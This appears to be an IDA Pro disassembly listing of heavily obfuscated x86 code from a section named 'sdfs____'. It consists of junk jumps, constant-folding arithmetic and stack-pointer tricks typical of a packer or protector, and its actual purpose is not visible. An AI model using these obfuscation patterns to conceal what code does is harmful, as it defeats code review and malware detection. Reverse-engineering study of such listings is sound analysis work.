loc_594910:				; CODE XREF: sdfs____:00592E7Ej
		pop	esp
		mov	[esp], edx
		jmp	loc_59627D
; ---------------------------------------------------------------------------


loc_594919:				; CODE XREF: sdfs____:0058C4DBj
		mov	eax, ebx
		pop	ebx
		jmp	loc_596463
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_58BB69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594933:				; CODE XREF: sub_591435-17D9j
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	dword ptr [esp+0]
		jmp	loc_58CF0B
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59493F:				; CODE XREF: sdfs____:00598787j
		xor	[esp], edx
		jmp	loc_595ED5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_594947:				; CODE XREF: sub_58CDE6+3AFj
		jns	loc_58DFF8
		jmp	loc_5922C4
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		add	esp, 4


loc_59495B:				; CODE XREF: sdfs____:0058DE94j
					; sdfs____:005902A2j
		xor	edi, [esp]
		pop	esp
		jmp	loc_590E4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_594964:				; CODE XREF: sub_5917C0-38BAj
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp-8+arg_4], eax
		mov	eax, 3AA754CEh
		add	eax, 1
		sub	eax, 0F7210E1Fh
		xor	esi, eax
		mov	eax, [esp-8+arg_4]
		push	ecx
		mov	ecx, esp
		jmp	loc_598169
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_594986:				; CODE XREF: sdfs____:0058D5D8j
		mov	dh, ah
		jmp	loc_595A0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59498D:				; CODE XREF: sub_5917C0-19D4j
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		jmp	loc_58DA54
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5949A4:				; CODE XREF: sdfs____:0059652Ej
		dec	esi
		jl	loc_58C3AB
		jmp	loc_5981A6
; ---------------------------------------------------------------------------
		shl	bh, 4
		sub	cl, 7Fh


loc_5949B6:				; CODE XREF: sdfs____:0058EBD2j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_58C6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_5949C2:				; CODE XREF: sub_598A21-8488j
		pop	ecx
		sub	ecx, 57E92DE4h
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		and	eax, ecx
		jmp	loc_58C621
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5949D9:				; CODE XREF: sdfs____:00595234j
					; sub_5962EB-4D6j
		and	[edi+1Ch], eax
		pop	eax
		jmp	loc_59226D
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5949E2:				; CODE XREF: sub_591435-E83j
		sub	ebx, 7EAB3A11h
		pop	edi
		jmp	loc_58B9DE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5949EE:				; CODE XREF: sdfs____:00591537j
		js	loc_592262
		sub	esp, 4
		jmp	loc_59155C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_5949FF:				; CODE XREF: sub_5BB696-2EE0Dj
		xchg	ebx, edi
		jmp	loc_595938
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_594A06:				; CODE XREF: sdfs____:0059663Fj
		add	esp, 4
		add	al, 12h
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 40E6893h
		sub	edx, 5FDD0BD2h
		sub	edx, 444D2CE3h
		push	ebx
		mov	ebx, 5FE42FDAh
		xor	edx, ebx
		pop	ebx
		jmp	loc_595C4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594A34:				; CODE XREF: sub_591435+337j
		mov	ebp, [esp+6+var_8+2]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_58F3ED
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 682604C7h
		push	630Eh
		mov	[esp], eax
		jmp	loc_590877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_594A5D:				; CODE XREF: sub_5962EB-42F5j
		shr	edx, 1
		and	edx, 14A6492h
		jmp	sub_593131
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_594A6A:				; CODE XREF: sub_59587A-30C8j
		push	edx
		mov	edx, 56D15BBCh
		sub	edx, 709A219Ch
		sub	edx, 1C2701E1h
		shr	edx, 6
		and	edx, 2828385Ah
		shr	edx, 7
		sub	edx, 0FC4A24F2h
		add	eax, edx
		pop	edx
		add	eax, 725E46A3h
		sub	eax, edx
		jmp	loc_58C4B9
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_594A9D:				; CODE XREF: sdfs____:0058EEB2j
					; sub_594228+376Ej
		add	edx, 4
		push	edx
		jmp	loc_58FAD2
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_594AA6:				; CODE XREF: sub_58BAD7+8886j
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		mov	eax, ecx
		jmp	loc_58CA56
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------


loc_594AB4:				; CODE XREF: sdfs____:005977BAj
		push	dword ptr [esp]
		jmp	loc_597587
; ---------------------------------------------------------------------------


loc_594ABC:				; CODE XREF: sdfs____:005921FAj
		js	loc_590C1E
		sub	edx, 56738F2Dh
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_58C939
		push	16BEh
		mov	[esp], ebx
		mov	ebx, 0FEh
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		push	6D20h
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 30BD06D1h
		push	ecx
		mov	ecx, 30BD06D5h
		xor	eax, ecx
		pop	ecx
		add	edx, eax
		jmp	loc_597FC8
; ---------------------------------------------------------------------------


loc_594B07:				; CODE XREF: sdfs____:00597A9Bj
		mov	eax, 625E3170h
		mov	esi, eax
		jmp	loc_5916E8
; ---------------------------------------------------------------------------


loc_594B13:				; CODE XREF: sdfs____:00590F2Fj
		mov	esi, 6ADF3C85h
		jmp	loc_58F85C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_594B1D:				; CODE XREF: sub_595678+217Fj
		mov	esi, 0E372CFE3h
		sub	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		jmp	loc_593A75
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------


loc_594B2D:				; CODE XREF: sdfs____:00597C47j
		not	edi
		shr	edi, 3
		jp	loc_5965C7
		and	edi, 633150ADh
		jl	loc_598DE3
		jmp	loc_592EE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_594B49:				; CODE XREF: sub_5941BD+20B4j
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		pop	esp
		add	ebp, 47A54F9Fh
		add	ebx, 18350B1Dh
		sub	ebx, ebp
		push	edi
		mov	edi, 18350B1Dh
		sub	ebx, edi
		pop	edi
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		mov	eax, ebx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_593303
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0FBh
		add	al, 0C5h
		sub	al, bl
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_594562
; ---------------------------------------------------------------------------


loc_594B8C:				; CODE XREF: sdfs____:00595857j
		jmp	loc_591C34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_594B91:				; CODE XREF: sub_594228+1848j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		mov	eax, 16DA6152h
		xor	eax, 16DA6156h
		sub	edi, eax
		mov	eax, [esp+22h+var_24+2]
		add	esp, 4
		xchg	edi, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edi
		jmp	loc_5959FB
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_594BC1:				; CODE XREF: sdfs____:0058BA0Bj
		not	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, 6E004DEFh
		add	esi, 0C4C724E4h
		and	ecx, esi
		pop	esi
		add	ecx, 0FFFFFFFFh
		xor	ecx, 8515F770h
		sub	edi, ecx
		pop	ecx
		jmp	loc_5902FF
; ---------------------------------------------------------------------------


loc_594BE5:				; CODE XREF: sdfs____:0058D434j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ebx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_594BF5:				; CODE XREF: sub_58FE99+26BEj
		pop	esp
		jmp	loc_595425
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_594BFB:				; CODE XREF: sdfs____:0059344Dj
		shr	edi, 4
		push	esi
		mov	esi, 27E33078h
		add	esi, 0EF311173h
		xor	edi, esi
		pop	esi
		sub	edi, 19F708E4h
		add	edx, edi
		pop	edi
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_592F34
; ---------------------------------------------------------------------------


loc_594C28:				; CODE XREF: sdfs____:0058E288j
		push	edi
		jmp	loc_59336D
; ---------------------------------------------------------------------------


loc_594C2E:				; CODE XREF: sdfs____:005987CAj
		shr	dh, 6
		sub	esp, 2
		mov	[esp], ax
		mov	al, 1
		jmp	loc_59069E
; ---------------------------------------------------------------------------


loc_594C42:				; CODE XREF: sdfs____:00596D0Bj
		sub	bh, 0C2h
		sub	al, 86h
		sub	al, bh
		add	al, 86h
		pop	ebx
		sub	esp, 2
		mov	[esp], dx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 6Ah
		xor	ch, 64h
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	al, dh
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_595B68
; ---------------------------------------------------------------------------


loc_594C77:				; CODE XREF: sdfs____:00591B71j
		add	esi, 5A047DA5h
		jmp	loc_58D854
; ---------------------------------------------------------------------------


loc_594C82:				; CODE XREF: sdfs____:00592C14j
		push	eax
		mov	ah, 0AAh
		mov	dh, ah
		pop	eax
		not	dh
		sub	dh, 0C5h
		jmp	loc_5982E8
; ---------------------------------------------------------------------------


loc_594C92:				; CODE XREF: sdfs____:00598285j
		sub	edi, 7130FA9h
		jmp	loc_5959C8
; ---------------------------------------------------------------------------


loc_594C9D:				; CODE XREF: sdfs____:00594188j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58FE67
; ---------------------------------------------------------------------------


loc_594CA8:				; CODE XREF: sdfs____:0058E574j
		pop	esi
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58CBDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_594CBD:				; CODE XREF: sub_5BB696-299F1j
		sub	eax, 4
		xchg	eax, [esp+24h+var_24]
		pop	esp
		mov	[esp+20h+var_20], ebx
		jmp	loc_5965FA
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594CCC:				; CODE XREF: sub_591435-2026j
		jo	loc_59114A
		sub	esi, 3FF73F73h
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_5933B9
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_594CE8:				; CODE XREF: sub_5985AE-47A3j
		mov	[esp-4+arg_0], ebp
		jmp	loc_593C2E
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_594CF0:				; CODE XREF: sub_594228-17A9j
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_596DB9
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594CF8:				; CODE XREF: sub_591435+637Dj
		sub	ecx, 6A4B39B6h
		jmp	loc_597F5F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_594D03:				; CODE XREF: sdfs____:00596A03j
		not	esi
		add	esi, 14A398Bh
		jmp	loc_58EB61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_594D10:				; CODE XREF: sub_590561+17C2j
		pop	ecx
		not	si
		jmp	loc_597915
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594D19:				; CODE XREF: sub_591370-2F51j
		jmp	loc_593720
; ---------------------------------------------------------------------------


loc_594D1E:				; CODE XREF: sub_591370+5603j
		push	edi
		push	ecx
		push	3E160475h
		pop	ecx
		neg	ecx
		jmp	loc_5977BF
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_594D2D:				; CODE XREF: sub_59369D-1097j
		pop	ecx
		add	eax, 5284710h
		sub	eax, ecx
		sub	eax, 5284710h
		pop	ecx
		jmp	loc_58C5B8
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594D40:				; CODE XREF: sub_591435-1D67j
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		jmp	loc_595FE5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591397


loc_594D51:				; CODE XREF: sub_591397+31j
		add	al, 0Ah
		mov	ch, al
		mov	eax, [esp+0]
		add	esp, 4
		xor	dl, ch
		pop	ecx
		sub	dl, 26h
		jmp	sub_5970DE
; END OF FUNCTION CHUNK	FOR sub_591397
; ---------------------------------------------------------------------------


loc_594D69:				; CODE XREF: sdfs____:loc_590869j
					; sdfs____:00593A8Cj
		mov	[esp], edx
		jmp	loc_592589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_594D71:				; CODE XREF: sub_591AD9+4004j
		xor	esi, eax
		xor	eax, esi
		jmp	loc_58D5B9
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------


loc_594D7A:				; CODE XREF: sdfs____:00594862j
		mov	ecx, 6888792Eh
		xor	esi, ecx
		pop	ecx
		pop	ebp
		sub	eax, 24113C9Ah
		sub	eax, 29DB7F70h
		add	eax, esi
		add	eax, 29DB7F70h
		push	edi
		jmp	loc_58D9D1
; ---------------------------------------------------------------------------


loc_594D9A:				; CODE XREF: sdfs____:00598D6Ej
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59742A
; ---------------------------------------------------------------------------


loc_594DB1:				; CODE XREF: sdfs____:0058E50Bj
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5965F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_594DC2:				; CODE XREF: sub_59841F-627j
		jmp	loc_597A49
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_594DC7:				; CODE XREF: sdfs____:00597D73j
		mov	eax, edx
		pop	edx
		add	ebx, eax
		pop	eax
		pop	edi
		sub	eax, 6A7B7B63h
		add	eax, 7BC0167Eh
		sub	eax, 2EE84E29h
		sub	eax, ebx
		add	eax, 2EE84E29h
		sub	eax, 7BC0167Eh
		push	ebp
		mov	ebp, 3B937A0Eh
		neg	ebp
		and	ebp, 317A0469h
		push	eax
		mov	eax, 95EC88FDh
		sub	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		pop	ebx
		add	eax, ebx
		jmp	loc_593865
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_594E0B:				; CODE XREF: sub_5BB696-2AAB1j
					; sdfs____:00593CFAj
		pop	ebx
		jmp	loc_5950FA
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_594E11:				; CODE XREF: sub_591435+27F4j
		mov	[esp+0], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	sub_594F18
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_594E24:				; CODE XREF: sdfs____:00595250j
		and	edx, 71C146C2h
		jmp	loc_597408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594E2F:				; CODE XREF: sub_591370+6B6Dj
		sub	ebx, 5C5616D1h
		push	eax
		push	2E8A2D48h
		pop	eax
		jmp	loc_594780
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_594E41:				; CODE XREF: sdfs____:00591F32j
		mov	eax, 4F992269h
		inc	eax
		jmp	loc_58E3D7
; ---------------------------------------------------------------------------


loc_594E4C:				; CODE XREF: sdfs____:00596105j
		pop	edx
		push	esi
		jmp	loc_597A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_594E53:				; CODE XREF: sub_58E92A+1782j
		add	bl, ch
		jmp	loc_58BBF3
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_594E5A:				; CODE XREF: sub_5985AE-65C2j
		pop	edi
		push	edi
		jmp	loc_591B7D
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_594E61:				; CODE XREF: sub_594228-8832j
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		add	ebx, 4
		push	eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_594E8E:				; CODE XREF: sub_5917C0-86Cj
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		inc	word ptr [esp+0]
		pushf
		jmp	loc_597088
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_594EAB:				; CODE XREF: sdfs____:00595704j
		mov	ebx, ebp
		pop	ebp
		add	edx, 5ED34259h
		add	edx, 2129573Fh
		add	edx, ebx
		sub	edx, 2129573Fh
		sub	edx, 5ED34259h
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_58FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_594ED9:				; CODE XREF: sub_594228-5923j
		xchg	edx, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], esi
		mov	esi, esp
		push	eax
		mov	eax, 75E45F0Ah
		jmp	loc_597FE9
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_594EED:				; CODE XREF: sdfs____:00597D66j
		sub	eax, edx
		jmp	loc_590367
; ---------------------------------------------------------------------------


loc_594EF4:				; CODE XREF: sdfs____:0059715Dj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 4
		add	ecx, 1DA441FEh
		add	ecx, ebx
		jmp	loc_594167

; =============== S U B	R O U T	I N E =======================================



sub_594F18	proc near		; CODE XREF: sub_591435+39EAj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058BBD8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058BC5C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058C236 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058DFE0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E510 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F967 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058FEB6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059087F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059304C SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00593F88 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005946AD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005948B3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059533D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005981C9 SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	[esp+0Ch+var_8]
		pop	ebx
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], edi
		push	ebx
		jmp	loc_58DFE0
sub_594F18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_594F32:				; CODE XREF: sdfs____:00597403j
		mov	bl, ch
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_592B9D
; ---------------------------------------------------------------------------


loc_594F43:				; CODE XREF: sdfs____:0058DD52j
		pop	edx
		sub	bl, ch
		sub	bl, 0F2h
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58E17A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_594F55:				; CODE XREF: sub_595678-2A4Ej
		dec	ecx
		xor	ecx, 2A68434Eh
		jmp	loc_58FB10
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_594F61:				; CODE XREF: sub_591370+6459j
		pop	ecx
		jmp	loc_594501
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_594F67:				; CODE XREF: sdfs____:005972D4j
		add	eax, ebx
		pop	ebx
		and	ebp, eax
		jmp	loc_591E0F
; ---------------------------------------------------------------------------


loc_594F71:				; CODE XREF: sdfs____:005948A6j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_594F76:				; CODE XREF: sdfs____:0058F32Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebx, 6DA11FDCh
		sub	ebx, eax
		push	ecx
		mov	ecx, 6DA11FDCh
		jmp	loc_591230
; ---------------------------------------------------------------------------


loc_594F95:				; CODE XREF: sdfs____:00590AEFj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	sub_58EC6C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_593E86
; ---------------------------------------------------------------------------


loc_594FB3:				; CODE XREF: sdfs____:00591BE1j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_594FC3:				; CODE XREF: sdfs____:loc_590658j
		and	edi, 31ED6EACh
		jmp	loc_597438
; ---------------------------------------------------------------------------


loc_594FCE:				; CODE XREF: sdfs____:00597671j
		push	esi
		mov	esi, 0FFF47FFEh
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	7CCEh
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_58D252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_595001:				; CODE XREF: sub_59377D+B6Bj
		jns	loc_58D8F9
		sub	ecx, 3439F20h
		jmp	loc_592A59
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------
		not	edi
; START	OF FUNCTION CHUNK FOR sub_596736


loc_595014:				; CODE XREF: sub_596736-4B7Cj
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_591011
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_59502C:				; CODE XREF: sdfs____:0058D1F4j
		or	ebp, 276F376Eh
		shl	ebp, 4
		jnp	loc_596A3A
		push	edx
		push	eax
		mov	eax, 77FFF6ECh
		mov	edx, eax
		pop	eax
		sub	ebp, edx
		pop	edx
		mov	esi, ebp
		pop	ebp
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 4CC351A5h
		jmp	loc_592E36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_595062:				; CODE XREF: sub_59576E-874Aj
		sub	ebp, ecx
		pop	ecx
		jmp	loc_58E826
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_59506A:				; CODE XREF: sdfs____:0058DCAEj
		sub	edi, 2E0B2B29h
		neg	edi
		sub	edi, 520854A9h
		xor	edi, 0AA005DB8h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5946A1
; ---------------------------------------------------------------------------


loc_595098:				; CODE XREF: sdfs____:0058D920j
		sub	edi, 7130FA9h
		jnp	loc_593CE8
		sub	edi, 0D273CBD4h
		sub	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58D975
; ---------------------------------------------------------------------------


loc_5950BB:				; CODE XREF: sdfs____:0058E7A1j
		jg	loc_58E5E0
		add	edi, 24EF4273h
		jmp	loc_59322D
; ---------------------------------------------------------------------------
		or	al, 0F7h


loc_5950CE:				; CODE XREF: sdfs____:00592B98j
		push	60CDh
		mov	[esp], ebp
		push	0CCD10E2h
		pop	ebp
		xor	ebp, 53951A46h
		jg	loc_59658C
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		shr	ebp, 2
		jmp	loc_59744A
; ---------------------------------------------------------------------------


loc_5950F5:				; CODE XREF: sdfs____:loc_592400j
		jmp	loc_591423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_5950FA:				; CODE XREF: sub_5BB696-2688Aj
		dec	cl
		not	cl
		push	ebx
		mov	bl, 0FCh
		dec	bl
		xor	bl, 81h
		push	ecx
		jmp	loc_58BC88
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_59510C:				; CODE XREF: sdfs____:005936FAj
					; sub_58BC4E+9DE4j
		mov	ebp, 79F62BA5h
		not	ebp
		jmp	loc_58EC1B
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_595118:				; CODE XREF: sdfs____:0058BE95j
		add	ebp, 427711B7h
		jmp	loc_590C07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_595123:				; CODE XREF: sub_5941BD-68FAj
					; sub_59841F-48C4j
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		sub	edi, 5959421Eh
		add	edi, 7AAFFEAFh
		jmp	loc_58FDCB
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59513A:				; CODE XREF: sub_5917C0+2EDCj
		mov	ecx, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	1F43h
		mov	[esp+0], ebp
		push	6630h
		mov	[esp+4+var_4], ecx
		push	eax
		mov	eax, 1DD74A2Fh
		push	eax
		push	5414h
		mov	[esp+10h+var_10], edi
		mov	edi, 2C9F41C7h
		sub	[esp+10h+var_C], edi
		pop	edi
		jmp	loc_59654D
